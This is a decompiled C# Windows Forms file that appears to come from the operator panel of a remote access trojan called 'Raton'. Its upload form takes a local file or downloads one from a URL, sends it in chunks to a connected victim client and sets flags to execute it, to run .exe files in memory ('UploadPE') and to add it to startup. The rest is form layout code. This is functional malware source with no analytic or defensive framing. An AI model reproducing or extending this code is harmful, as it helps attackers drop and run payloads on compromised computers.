using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonUpload : Form
{
public bool inMemory;
public bool isUpdate;
public bool isStartup;
private IContainer components;
private Timer timer1;
private PictureBox pictureBox1;
private Label label1;
private Label label2;
private Label label3;
private RgbBuildButton button1;
private RgbBuildButton button2;
public string link { get; set; }
public SillyClient SillyClient { get; set; }
public ratonUpload()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void ratonUpload_Load(object sender, EventArgs e)
{
this.timer1.Start();
if (this.link == null)
return;
this.button1.Enabled = false;
this.button1.Text = "Link choosen";
}
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void button1_Click(object sender, EventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
openFileDialog.Filter = "All files (*.*)|*.*";
openFileDialog.Title = "Select a file";
if (openFileDialog.ShowDialog() != DialogResult.OK)
return;
this.SetFile(openFileDialog.FileName);
}
}
private void SetFile(string path)
{
if (!File.Exists(path))
return;
FileInfo fileInfo = new FileInfo(path);
long length = fileInfo.Length;
string str = length >= 1048576L /*0x100000*/ ? $"{(ValueType) (float) ((double) length / 1024.0 / 1024.0):F2}MB" : (length >= 1024L /*0x0400*/ ? $"{(ValueType) (float) ((double) length / 1024.0):F2}KB" : $"{length}B");
this.label3.Text = path;
this.label1.Text = fileInfo.Name;
this.label2.Text = "Size: " + str;
try
{
using (Icon associatedIcon = Icon.ExtractAssociatedIcon(path))
this.pictureBox1.BackgroundImage = (Image) associatedIcon.ToBitmap();
}
catch
{
}
}
private async void button2_Click(object sender, EventArgs e)
{
string path = this.label3.Text;
Uri result;
if (!string.IsNullOrWhiteSpace(this.link) && Uri.TryCreate(this.link, UriKind.Absolute, out result) && (result.Scheme == Uri.UriSchemeHttp || result.Scheme == Uri.UriSchemeHttps))
{
try
{
byte[] byteArrayAsync = await new HttpClient().GetByteArrayAsync(this.link);
string path1 = Path.Combine(Path.GetTempPath(), Path.GetFileName(this.link));
File.WriteAllBytes(path1, byteArrayAsync);
path = path1;
this.SetFile(path1);
}
catch
{
int num = (int) Messenger.MessageBox("Can't download from that link", "Error", icon: MessageBoxIcon.Hand);
return;
}
}
if (!File.Exists(path))
{
int num1 = (int) Messenger.MessageBox("File not found", "404", icon: MessageBoxIcon.Hand);
}
else
{
string fileName = Path.GetFileName(path);
if (this.inMemory && !string.Equals(Path.GetExtension(fileName), ".exe", StringComparison.OrdinalIgnoreCase))
{
int num2 = (int) Messenger.MessageBox("The file isn't a .exe", "Error", icon: MessageBoxIcon.Hand);
}
else
{
string Duid = "RatonFile_" + Helpers.Random(7);
long fileSize = new FileInfo(path).Length;
ratonFIle fileForm = (ratonFIle) Application.OpenForms["File ID: " + Duid];
if (fileForm == null)
{
ratonFIle ratonFile = new ratonFIle();
ratonFile.Name = "File ID: " + Duid;
ratonFile.Text = "File ID: " + Duid;
ratonFile.SillyClient = this.SillyClient;
ratonFile.UID = this.SillyClient.uid;
ratonFile.FileName = fileName;
ratonFile.FileSize = fileSize;
fileForm = ratonFile;
fileForm.Show();
}
await Task.Run((Func<Task>) (async () =>
{
int num3 = 1;
if (fileSize < 1048576L /*0x100000*/)
{
Pack pack = new Pack();
pack.SetString("Packet", this.inMemory ? "UploadPE" : "Upload");
pack.SetBool("isCompleted", false);
pack.SetBool("isUpdate", this.isUpdate);
pack.SetBool("isStartup", this.isStartup);
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + Duid + num3.ToString())));
pack.Set("FileBytes", File.ReadAllBytes(path));
this.SillyClient.Send(pack.Pacc());
fileForm.TotalFileSize += fileSize;
}
else
{
Stream stream = (Stream) File.OpenRead(path);
byte[] buffer = new byte[1048576 /*0x100000*/];
long length = fileSize;
int num4;
while ((num4 = stream.Read(buffer, 0, buffer.Length)) > 0 && this.SillyClient.isConnected())
{
Pack pack = new Pack();
pack.SetString("Packet", this.inMemory ? "UploadPE" : "Upload");
pack.SetBool("isCompleted", false);
pack.SetBool("isUpdate", this.isUpdate);
pack.SetBool("isStartup", this.isStartup);
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + Duid + num3++.ToString())));
pack.Set("FileBytes", buffer);
this.SillyClient.Send(pack.Pacc());
fileForm.TotalFileSize += (long) buffer.Length;
length -= (long) num4;
if (length < 1048576L /*0x100000*/)
buffer = new byte[length];
}
}
Pack pack1 = new Pack();
pack1.SetString("Packet", this.inMemory ? "UploadPE" : "Upload");
pack1.SetString("DUID", Duid);
pack1.SetBool("isCompleted", true);
pack1.SetString("FileName", fileName);
pack1.SetLong("FileSize", fileSize);
pack1.SetString("FilePath", "TempClient");
pack1.SetBool("Execute", true);
pack1.SetBool("isUpdate", this.isUpdate);
pack1.SetBool("isStartup", this.isStartup);
pack1.SetInt("TempCount", num3);
this.SillyClient.Send(pack1.Pacc());
await Task.Delay(2000);
if (this.IsDisposed || !this.IsHandleCreated)
return;
this.BeginInvoke((Delegate) (() =>
{
if (fileForm == null || fileForm.IsDisposed || !fileForm.IsHandleCreated)
return;
fileForm.flatProgressBar1.Value = 100;
fileForm.timer2.Stop();
fileForm.Status("File uploaded successfully");
}));
}));
}
}
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonUpload));
this.timer1 = new Timer(this.components);
this.pictureBox1 = new PictureBox();
this.label1 = new Label();
this.label2 = new Label();
this.label3 = new Label();
this.button1 = new RgbBuildButton();
this.button2 = new RgbBuildButton();
((ISupportInitialize) this.pictureBox1).BeginInit();
this.SuspendLayout();
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.pictureBox1.BackgroundImage = (Image) Resources.RATA;
this.pictureBox1.BackgroundImageLayout = ImageLayout.Zoom;
this.pictureBox1.Location = new Point(13, 13);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new Size(53, 53);
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false;
this.label1.AutoSize = true;
this.label1.Font = new Font("Microsoft JhengHei", 11.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.label1.Location = new Point(71, 13);
this.label1.Name = "label1";
this.label1.Size = new Size(78, 19);
this.label1.TabIndex = 1;
this.label1.Text = "File name";
this.label2.AutoSize = true;
this.label2.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.label2.Location = new Point(72, 32 /*0x20*/);
this.label2.Name = "label2";
this.label2.Size = new Size(51, 16 /*0x10*/);
this.label2.TabIndex = 2;
this.label2.Text = "Size: 0B";
this.label3.AutoSize = true;
this.label3.Font = new Font("Microsoft JhengHei", 6.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.label3.Location = new Point(72, 52);
this.label3.Name = "label3";
this.label3.Size = new Size(26, 14);
this.label3.TabIndex = 3;
this.label3.Text = "path";
this.button1.Cursor = Cursors.Arrow;
this.button1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.button1.ForeColor = Color.White;
this.button1.Icon = (Image) Resources.ic_fluent_add_circle_24_filled;
this.button1.IconSize = 25;
this.button1.IconSpacing = 8;
this.button1.Location = new Point(13, 73);
this.button1.Name = "button1";
this.button1.Size = new Size(414, 36);
this.button1.TabIndex = 4;
this.button1.Text = "Select your file";
this.button1.Click += new EventHandler(this.button1_Click);
this.button2.Cursor = Cursors.Arrow;
this.button2.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.button2.ForeColor = Color.White;
this.button2.Icon = (Image) Resources.ic_fluent_vehicle_truck_profile_24_filled;
this.button2.IconSize = 25;
this.button2.IconSpacing = 8;
this.button2.Location = new Point(13, 115);
this.button2.Name = "button2";
this.button2.Size = new Size(414, 37);
this.button2.TabIndex = 5;
this.button2.Text = "Execute";
this.button2.Click += new EventHandler(this.button2_Click);
this.AutoScaleDimensions = new SizeF(5f, 14f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(439, 172);
this.Controls.Add((Control) this.button2);
this.Controls.Add((Control) this.button1);
this.Controls.Add((Control) this.label2);
this.Controls.Add((Control) this.label3);
this.Controls.Add((Control) this.label1);
this.Controls.Add((Control) this.pictureBox1);
this.Font = new Font("Microsoft JhengHei", 6.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.Margin = new Padding(2, 3, 2, 3);
this.MaximizeBox = false;
this.Name = nameof (ratonUpload);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonUpload);
this.Load += new EventHandler(this.ratonUpload_Load);
((ISupportInitialize) this.pictureBox1).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
}
File diff suppressed because one or more lines are too long